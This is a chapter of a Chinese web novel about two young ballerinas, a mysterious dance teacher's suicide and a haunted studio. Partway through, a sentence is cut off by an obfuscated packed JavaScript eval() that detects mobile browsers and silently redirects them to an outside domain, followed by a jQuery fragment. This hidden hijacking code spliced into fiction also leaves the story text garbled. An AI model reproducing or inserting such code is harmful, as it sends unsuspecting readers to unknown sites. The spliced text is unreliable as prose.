刚开始在舞蹈老师手下学舞蹈的时候,珍星的父母其实并不期待什么,只是希望老师能帮忙照顾自己的孩子。
比起真正的艺术班,她的父母更希望老师是育幼老师。
所以,常常在老师家待很久的珍星会拿着自己的童话书,反客为主地霸占老师的椅子。
却又对着老师露出可怜的表情。
“老师,我想听故事。”
“童话故事书?我都忘记了,小珍星你还只是一个小宝宝。”
不练舞的时候老师对她的要求鲜少有拒绝的,于是老师一边抱着小珍星,一边为她讲起故事。
“很久很久以前,海里有位美人鱼公主,一直向往着人类生活。
偷偷冒出海面的她,救了一位人类王子,并决定用自己美妙的歌喉和靓丽的鱼尾为自己换来一次上岸成人的机会......”
“这是个有名的童话故事呢。”
钢琴边的镜子能看见老师笑起来时温柔的侧脸,仿佛就是珍星那本童话书上画着的人鱼公主。
沉迷在老师美貌的珍星,似乎并没有听清老师接下来说的话。
“可是亲爱的,也许她并不甘心化为天明前的一串泡沫。”
“什么?”
珍星试图离老师近一些听清她的话,但老师已经从刚才的状态里抽离出来。
她牵着小珍星走到那边镜子前。
“珍星,你看。”
“看什么?”
“我脸上长痘痘了。”是素熙正侧着一边脸,哀怨着指着脸上的某一块地方。
上面有一颗红得透明的痘痘。
“是不是最近太上火了,晚上我给你炒几个青菜。”
“不要,我还想再吃辣炒鱼饼。”
“求求你了,珍星nim。”
素熙额前的头发用珍星的柠檬黄星星发卡撇在侧边,像一颗橙子,这让她说出来的话让人觉得酸酸甜甜,好笑又好气。
“即使再长痘痘也要吃吗?”
来到珍星家已经有一段日子了,虽然每天和珍星在一起都很开心。
但素熙也有感觉违和的地方。
那就是,在家的珍星,完全没有去练习芭蕾。
这是为什么呢?
“是不是因为我这段日子以来太缺乏运动了。”
素熙从穿衣镜前离开,来到珍星身边,她正在给窗台上的小绿植浇水,一派闲适。
“等会儿吃完饭,我们找个地方去练习芭蕾吧。”
按理来说,这对于珍星应该是一个很有吸引力的提议。
在学校的时候,往往都是珍星这样提议,而素熙找借口想多休息一会儿。
“嗯,素熙觉得无聊了吗?”
“没、没有啊。我就是有点好奇。”
“好奇什么?”
“珍星你不是有一位舞蹈老师吗?怎么没见你去找她。”
素熙自然地提起这件事情,等到说出口之后,才想起来那个死去的女生,之前曾经说过——“宋珍星克死了她的老师”这样的话。
素熙惊觉自己说错了话,正在想办法找补时,却没想到,珍星的在意点并不是这个。
“素熙,怎么会知道......”
“我有老师这件事。”
珍星没有主动告诉过素熙这件事情,至少,在素熙转学过来的日子里。
一个微弱的念头涌上自己的心头。
虽然她和素熙都记得四年前彼此的相遇,但是珍星以为,素熙没有认出自己才对。
“这个、这,珍星你之前应该跟我说过的,是、是你忘了吗?”
素熙有点慌,但还在尽力地笑。
“这样吗,那素熙,我们一会儿去吧。”
“去哪里?”
不知不觉珍星已经走到了衣橱边,在里面翻找了几下,拿出两套练功服。
“不介意的话,素熙就穿我的吧。”
不知为何,素熙突然很想问,那你呢?
可是答案应该是显而易见的,珍星穿手上的另一套就好了。
吃完饭之后,她们收拾好东西,珍星再次骑上车带着素熙朝着比较偏僻的地方开过去。
最开始觉得很荒凉的地方,往里骑了一会儿反而山清水秀起来,再往前,就能看见一间屋子。
“这是,你老师家吗?”
素熙和珍星一起站在门框都腐朽不少的门前。
推开木门,映入眼帘的是一架钢琴,但很久没人弹奏,所以落了很多灰。
但也许因为屋子里的窗户并没有关上,所以里面的空气还算流通,不会让人闻到朽木的味道。
一种令人窒息的阴森气味。
“对,不过老师已经不住在这里了。”
“但她走之前有跟我说过,如果我想练舞,随时可以来这里。”
说话间珍星才拿出身上的钥匙,但也没什么用,毕竟大门已经坏到两个人一推就能开的程度了。
珍星熟练地走进另一件屋子里换衣服,素熙则在原地找了凳子坐下。
毕竟还拄着拐杖的她,根本没办法跳舞,说是来练舞,其实是来看珍星跳舞。
“噗——好多灰。”
“咳咳咳——”
素熙最终还是走到了那架钢琴前,但没想到刚翻开盖子就是一阵灰尘,呛得她说不出话。
侧头想要去呼吸一口清新空气时,脸正好和镜子里的自己对上了。
仿佛第一次见自己这张脸,素熙不知不觉就走到了镜子面前。
“你好。”素熙元气地对着镜子里的自己打招呼。
沉默了一会儿之后,她伸头看着在另一个房间里迟迟没有出来的珍星。
待得有些无聊的她,转过身准备再看看其他地方。
“阿尼哟!”
空灵到变形的女生从她背后响起,素熙猛地转身。
镜子里还是只有她而已。
不对,还是觉得不对劲,一瞬间阴森的感觉涌上心头,
可是无论怎么看着镜子,也还是很正常,正当素熙以为是自己有点害怕想太多的时候。
她的头却像被人按住一样,猛地向下看。
地上——地上有一些镜子碎片。
将素熙的脸分为了好几块,有的是眼睛,有的是嘴巴......
眼睛突然眨了一下,然后是镜子里的嘴巴一张一合。
“我在这里!”
“等、等一下,这里是鬼屋吗?”
比起尖叫,素熙用了更加平静但显然有些被吓呆的吐槽来表现自己的心情。
她试着摇摇头甩开刚才奇怪的画面,这似乎也发挥了作用。
地上的碎片只是普通的银镜,正常不已。
素熙也没有再感觉到那种压迫。
“莫叽?”
童年时光大多一个人在家度过的素熙并不是很害怕这些一惊一乍的东西。
她自己一个人就能发出各种声音来充当玩伴。
只是,她心里还是长出了一点怀疑的枝丫。
其实是有不对的事情在的,从之前就有。
但她也想不起来多少。
而在这个时候,珍星也打开了房间门,走出来的珍星并没有穿她们带过来的练功服。
是一件火红色的舞衣,能看出改动的痕迹,说明这是一件旧衣服。
“珍星......”素熙有一种预感,珍星似乎会对她说什么,也许是秘密。
“可以帮我伴奏吗?”
“当、当然。”
一架许久没人碰过的琴,素熙随意按下几个按键时,音准依旧。
居然没有走音,这其实是一件很奇怪的事情。
“珍星要跳什么?”
“KitriAct1,可以吗?”珍星的声音淡淡的。
素熙从善如流地弹起来,流畅的音乐仿佛化成了实质可见的东西。
珍星是它的演绎者。
堂吉诃德、吗?
“我们以前就见过吧,素熙。”
接着最后一段的旋转,珍星最后停在了素熙面前,借用弯腰的礼节抱住了素熙。
“四年前的少儿大赛上,我见到的人就是素熙。”
珍星主动提起了这件事,给出了截然不同的回答。
明明上次素熙试探性问这件事情的时候,珍星的反应明明是不记得。
“其实我一直都记得素熙。”
“可是珍星你明明说......”
素熙伸手抱住珍星,却觉得,此刻的她们之间隔得很远。
也许是因为接下来珍星要说的话。
“四年前,我很嫉妒素熙得到了冠军。”
“比起嫉妒,我更恨自己。”
“所以,不想让素熙还记得这件事情。”
珍星虽然主动与素熙相认了,虽然只是这样短短几句话。
也足够素熙了解,她脑海里的这段经历,对于珍星而言其实并不幸福。
“发生什么了?”
素熙感到心痛,也许是和此刻的珍星同步了心跳,共振着哀伤。
“其实素熙妈妈告诉我,素熙你一直都有着比我更好的路可以走。”
“素熙你不要为我放弃什么,好吗?”
珍星的眼泪滴在素熙的肩上,那样滚烫,但她的话又是这样的冰冷。
“素熙,你去法国吧。”
素熙觉得自己应该惊讶,可却不觉得意外,在妈妈说过那些话之后,她有一直有预感
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644438|172741||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的。
只是没想到,珍星最后还是会劝自己。
素熙失神,她的声音也陡然间变得虚弱。
“为什么?”
为什么要现在说这些。
是为了我好,还是因为珍星你厌弃我了呢?
素熙不想走,她不知道为什么一定要走。
没有两全其美的办法吗?
“因为我讨厌素熙。”
“讨厌素熙成为第一名,我无论如何,总是差一点才能够得上的第一名。”
这不是珍星第一次说这种话。
但没一次会比现在要悲伤。
“我的老师,在那次比赛之后,死掉了。”
“一直疼爱我,教授我芭蕾的老师,自杀了。”
珍星盯着那面镜子,企图从里面再看见老师的身影。
结果只是徒然,
那次没能取得任何成果的比赛,虽然老师出发前说珍星要是拿不到名次就不配做自己的弟子。
这虽然只是一个玩笑话。
可在第二天,老师就吊死在了村子里的大树上。
仿佛被人逼迫,可她脸上又带着满意的笑容。
珍星对她最后的记忆停留在老师离开的那一夜。
那个,模糊的告别。
“我当然知道这些与素熙你没有关系。”
“可是如果,如果那个时候,不是你该多好?”
这是一种很正常的现象,当一个人失利时往往会不由自主怨恨上离自己最近的那个获利者。
如果没有遇见素熙,如果那个人不是素熙。
珍星也许就不会觉得这样愧疚,而是会毫无顾忌地恨上这名陌生人。
“所以素熙,你走吧。”
“回到首尔,按照你妈妈的安排,去法国吧。”
“珍星......”
也许什么理由都无法说服素熙,唯有这个。
唯有这样伤心的珍星,这样和她其实完全没有关系的事情,才会让她低头。
痛她所痛,愿她所愿。
日子一天天过着,终于来到了终点。
珍星果然,不再需要素熙了。
“珍星,送我去海边好不好?”
素熙擦掉她的眼泪,恢复了平静。
钢琴的盖子猛地倒下,巨大的响声,却并未引起她们的任何注意。
这一刻的悲伤是洪水猛兽,将她们完全包裹。
素熙低下头再次看见那些银镜碎片,耳边回荡起只有她一个人能听见的声音。
“可是亲爱的,她并不甘心。”
“成为一串可有可无的泡沫。”
“成为她泛黄的旧忆。”
你是谁?你到底是谁?
被珍星送上最后一班船,在发动机击打海面发出的轰鸣声中,素熙听到了回答。
“我就是你呀,素熙。”
于是,素熙对着海岸上的珍星大声喊起来。
“来找我,珍星。”
其实珍星什么也听不见,正如那个夜晚,模糊的感官根本接收不到任何讯息。
但正是因为,珍星什么也听不到。
她才会一遍又一遍说:“来找我,珍星。”
直到现在,海水上涨的季节,涨潮时期出现的不只是海货,还有海底不可见的东西。
就像森林里躲着不出来的家伙们也开始蠢蠢欲动了。
很久很久以前,老师曾经告诉珍星一个传说。
按下黑白琴键,从一键数到第二十九键,就能祈求森林里古老的神明实现愿望。
“我的愿望吗?”
小小的珍星坐在钢琴边,在老师鼓励的微笑下,高兴地说出自己的愿望。
“我想要一直和老师在一起跳舞、弹琴,听老师讲故事。”
她注意到老师突然露出的一点苦恼。
“是、是珍胜太贪心了吗?”
“不,是因为珍胜许了一个很棒的愿望。”
“老师太过高兴了。”
老师刚刚去世的那段时间,还叫做珍胜的珍星生了一场怪病。
吃什么药都好不起来,直到村里的老中医让她改掉名字,情况才好起来。
老中医年轻时在东方游学见多识广。
可对于珍星的父母,他并没有透露太多。
只是长长叹了一口气。
仿佛在说,一切也只是拖延时间。
终有一天,会被找到的。
“珍胜呐——”
在那场怪梦里,看不清脸的女人这样呼唤着小小的珍星,让她无法苏醒。
而在素熙离开的这一天,珍星久违地做起这个怪梦。
只是这一次,她说。
“珍星呐——”